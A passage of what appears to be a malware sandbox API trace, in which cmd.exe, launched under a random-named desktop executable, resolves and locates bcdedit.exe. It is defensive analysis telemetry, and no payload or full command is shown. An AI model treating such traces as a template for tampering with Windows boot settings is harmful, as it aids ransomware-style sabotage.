lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.455] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.455] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.455] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0051.455] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0051.455] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0051.455] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0051.455] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0051.455] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0051.455] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0051.455] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0051.455] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0051.455] GetProcessHeap () returned 0x194ab2f0000 [0051.455] RtlFreeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, BaseAddress=0x194ab2f6630) returned 1 [0051.455] GetEnvironmentStringsW () returned 0x194ab2f5b10* [0051.455] GetProcessHeap () returned 0x194ab2f0000 [0051.455] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0xb46) returned 0x194ab2f6660 [0051.455] FreeEnvironmentStringsA (penv="A") returned 1 [0051.456] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0051.456] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.456] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0051.456] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0051.456] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0051.456] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0051.456] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0051.456] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0051.456] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0051.456] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0051.456] malloc (_Size=0xffce) returned 0x194ab410040 [0051.456] ??_V@YAXPEAX@Z () returned 0x194ab410040 [0051.456] GetProcessHeap () returned 0x194ab2f0000 [0051.456] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x40) returned 0x194ab2f8820 [0051.456] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x194ab410040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.457] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x194ab410040, lpFilePart=0x6bf50ff480 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6bf50ff480*="Desktop") returned 0x17 [0051.457] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.457] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x6bf50ff1b0 | out: lpFindFileData=0x6bf50ff1b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x194ab2f8870 [0051.457] FindClose (in: hFindFile=0x194ab2f8870 | out: hFindFile=0x194ab2f8870) returned 1 [0051.457] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x6bf50ff1b0 | out: lpFindFileData=0x6bf50ff1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x194ab2f8870 [0051.457] FindClose (in: hFindFile=0x194ab2f8870 | out: hFindFile=0x194ab2f8870) returned 1 [0051.457] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x6bf50ff1b0 | out: lpFindFileData=0x6bf50ff1b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9a7d7a61, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9a7d7a61, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x194ab2f8870 [0051.458] FindClose (in: hFindFile=0x194ab2f8870 | out: hFindFile=0x194ab2f8870) returned 1 [0051.458] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.458] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0051.458] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0051.458] GetProcessHeap () returned 0x194ab2f0000 [0051.458] RtlFreeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, BaseAddress=0x194ab2f6660) returned 1 [0051.458] GetEnvironmentStringsW () returned 0x194ab2f0fc0* [0051.458] GetProcessHeap () returned 0x194ab2f0000 [0051.458] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0xb7e) returned 0x194ab2f9400 [0051.458] FreeEnvironmentStringsA (penv="=") returned 1 [0051.458] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x194ab3f0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.458] GetProcessHeap () returned 0x194ab2f0000 [0051.458] RtlFreeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, BaseAddress=0x194ab2f8820) returned 1 [0051.458] ??_V@YAXPEAX@Z () returned 0x1 [0051.458] ??_V@YAXPEAX@Z () returned 0x1 [0051.458] GetProcessHeap () returned 0x194ab2f0000 [0051.458] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x4016) returned 0x194ab2f9f90 [0051.459] GetProcessHeap () returned 0x194ab2f0000 [0051.459] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x64) returned 0x194ab2f0fc0 [0051.459] GetProcessHeap () returned 0x194ab2f0000 [0051.459] RtlFreeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, BaseAddress=0x194ab2f9f90) returned 1 [0051.459] GetConsoleOutputCP () returned 0x1b5 [0051.630] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0051.630] GetUserDefaultLCID () returned 0x409 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7b827bb78, cchData=8 | out: lpLCData=":") returned 2 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x6bf50ff840, cchData=128 | out: lpLCData="0") returned 2 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x6bf50ff840, cchData=128 | out: lpLCData="0") returned 2 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x6bf50ff840, cchData=128 | out: lpLCData="1") returned 2 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7b827bb68, cchData=8 | out: lpLCData="/") returned 2 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7b827bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7b827bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7b827ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7b827ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7b827ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7b827b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7b827b980, cchData=32 | out: lpLCData="Sun") returned 4 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7b827bb58, cchData=8 | out: lpLCData=".") returned 2 [0051.631] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7b827bb40, cchData=8 | out: lpLCData=",") returned 2 [0051.631] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0051.632] GetProcessHeap () returned 0x194ab2f0000 [0051.632] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x0, Size=0x20c) returned 0x194ab2f10a0 [0051.632] GetConsoleTitleW (in: lpConsoleTitle=0x194ab2f10a0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.698] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0051.698] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0051.698] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0051.698] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0051.698] ??_V@YAXPEAX@Z () returned 0x1 [0051.699] GetProcessHeap () returned 0x194ab2f0000 [0051.699] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x4012) returned 0x194ab2f9f90 [0051.699] GetProcessHeap () returned 0x194ab2f0000 [0051.699] RtlFreeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, BaseAddress=0x194ab2f9f90) returned 1 [0051.700] _wcsicmp (_String1="bcdedit.exe", _String2=")") returned 57 [0051.700] _wcsicmp (_String1="FOR", _String2="bcdedit.exe") returned 4 [0051.700] _wcsicmp (_String1="FOR/?", _String2="bcdedit.exe") returned 4 [0051.700] _wcsicmp (_String1="IF", _String2="bcdedit.exe") returned 7 [0051.700] _wcsicmp (_String1="IF/?", _String2="bcdedit.exe") returned 7 [0051.700] _wcsicmp (_String1="REM", _String2="bcdedit.exe") returned 16 [0051.700] _wcsicmp (_String1="REM/?", _String2="bcdedit.exe") returned 16 [0051.700] GetProcessHeap () returned 0x194ab2f0000 [0051.700] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0xb0) returned 0x194ab2f12c0 [0051.700] GetProcessHeap () returned 0x194ab2f0000 [0051.700] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x28) returned 0x194ab2f8820 [0051.700] GetProcessHeap () returned 0x194ab2f0000 [0051.700] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x4a) returned 0x194ab2f1380 [0051.701] GetConsoleTitleW (in: lpConsoleTitle=0x6bf50ff730, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.780] malloc (_Size=0xffce) returned 0x194ab400060 [0051.780] ??_V@YAXPEAX@Z () returned 0x194ab400060 [0051.781] malloc (_Size=0xffce) returned 0x194ab410040 [0051.781] ??_V@YAXPEAX@Z () returned 0x194ab410040 [0051.781] GetFileAttributesW (lpFileName="bcdedit.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\bcdedit.exe")) returned 0xffffffff [0051.781] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0051.782] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0051.782] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0051.782] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0051.782] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0051.782] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0051.782] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0051.782] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0051.782] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0051.782] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0051.782] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0051.782] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0051.782] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0051.782] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0051.782] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0051.782] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0051.782] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0051.782] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0051.782] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0051.782] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0051.782] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0051.782] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0051.782] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0051.782] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0051.782] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0051.782] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0051.782] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0051.782] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0051.782] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0051.782] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0051.782] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0051.782] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0051.782] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0051.782] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0051.782] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0051.782] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0051.782] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0051.782] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0051.782] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0051.782] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0051.782] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0051.782] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0051.782] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0051.782] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0051.782] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0051.782] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0051.782] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0051.783] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0051.783] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0051.783] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0051.783] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0051.783] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0051.783] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0051.783] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0051.783] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0051.783] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0051.783] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0051.783] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0051.783] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0051.783] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0051.783] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0051.783] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0051.783] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0051.783] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0051.783] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0051.783] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0051.783] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0051.783] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0051.783] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0051.783] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0051.783] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0051.783] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0051.783] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0051.783] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0051.783] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0051.783] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0051.783] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0051.783] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0051.783] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0051.783] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0051.783] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0051.783] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0051.783] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0051.783] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0051.783] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0051.783] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0051.783] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0051.784] ??_V@YAXPEAX@Z () returned 0x1 [0051.784] GetProcessHeap () returned 0x194ab2f0000 [0051.784] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0xffde) returned 0x194ab2f9f90 [0051.784] GetProcessHeap () returned 0x194ab2f0000 [0051.784] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x62) returned 0x194ab2f13e0 [0051.784] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0051.785] malloc (_Size=0xffce) returned 0x194ab410040 [0051.785] ??_V@YAXPEAX@Z () returned 0x194ab410040 [0051.785] GetProcessHeap () returned 0x194ab2f0000 [0051.785] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x1ffac) returned 0x194ab309f80 [0051.786] SetErrorMode (uMode=0x0) returned 0x0 [0051.786] SetErrorMode (uMode=0x1) returned 0x0 [0051.786] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x194ab309f90, lpFilePart=0x6bf50fefb0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6bf50fefb0*="Desktop") returned 0x17 [0051.786] SetErrorMode (uMode=0x0) returned 0x1 [0051.787] GetProcessHeap () returned 0x194ab2f0000 [0051.787] RtlReAllocateHeap (Heap=0x194ab2f0000, Flags=0x0, Ptr=0x194ab309f80, Size=0x58) returned 0x194ab309f80 [0051.787] GetProcessHeap () returned 0x194ab2f0000 [0051.787] RtlSizeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, MemoryPointer=0x194ab309f80) returned 0x58 [0051.787] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.787] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0051.787] GetProcessHeap () returned 0x194ab2f0000 [0051.787] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x1bc) returned 0x194ab2f1450 [0051.787] GetProcessHeap () returned 0x194ab2f0000 [0051.787] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x368) returned 0x194ab2f1620 [0051.791] GetProcessHeap () returned 0x194ab2f0000 [0051.791] RtlReAllocateHeap (Heap=0x194ab2f0000, Flags=0x0, Ptr=0x194ab2f1620, Size=0x1be) returned 0x194ab2f1620 [0051.791] GetProcessHeap () returned 0x194ab2f0000 [0051.791] RtlSizeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, MemoryPointer=0x194ab2f1620) returned 0x1be [0051.791] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.791] GetProcessHeap () returned 0x194ab2f0000 [0051.791] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0xe8) returned 0x194ab2f17f0 [0051.791] GetProcessHeap () returned 0x194ab2f0000 [0051.792] RtlReAllocateHeap (Heap=0x194ab2f0000, Flags=0x0, Ptr=0x194ab2f17f0, Size=0x7e) returned 0x194ab2f17f0 [0051.792] GetProcessHeap () returned 0x194ab2f0000 [0051.792] RtlSizeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, MemoryPointer=0x194ab2f17f0) returned 0x7e [0051.792] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.792] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x6bf50fed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6bf50fed20) returned 0xffffffffffffffff [0051.792] GetLastError () returned 0x2 [0051.792] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x6bf50fed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6bf50fed20) returned 0xffffffffffffffff [0051.792] GetLastError () returned 0x2 [0051.792] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.792] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x6bf50fed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6bf50fed20) returned 0xffffffffffffffff [0051.793] GetLastError () returned 0x2 [0051.793] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x6bf50fed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6bf50fed20) returned 0xffffffffffffffff [0051.793] GetLastError () returned 0x2 [0051.793] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.793] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x6bf50fed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6bf50fed20) returned 0x194ab2f1880 [0051.793] GetProcessHeap () returned 0x194ab2f0000 [0051.793] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x0, Size=0x28) returned 0x194ab2f18e0 [0051.793] FindClose (in: hFindFile=0x194ab2f1880 | out: hFindFile=0x194ab2f1880) returned 1 [0051.793] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0051.793] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0051.793] ??_V@YAXPEAX@Z () returned 0x1 [0051.793] GetConsoleTitleW (in: lpConsoleTitle=0x6bf50ff2a0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.836] InitializeProcThreadAttributeList (in: lpAttributeList=0x6bf50ff1c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x6bf50ff0b0 | out: lpAttributeList=0x6bf50ff1c0, lpSize=0x6bf50ff0b0) returned 1 [0051.836] UpdateProcThreadAttribute (in: lpAttributeList=0x6bf50ff1c0, dwFlags=0x0, Attribute=0x60001, lpValue=0x6bf50ff09c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x6bf50ff1c0, lpPreviousValue=0x0) returned 1 [0051.836] GetStartupInfoW (in: lpStartupInfo=0x6bf50ff150 | out: lpStartupInfo=0x6bf50ff150*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0051.836] GetProcessHeap () returned 0x194ab2f0000 [0051.836] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x20) returned 0x194ab2f1880 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0051.836] _wcsnicmp 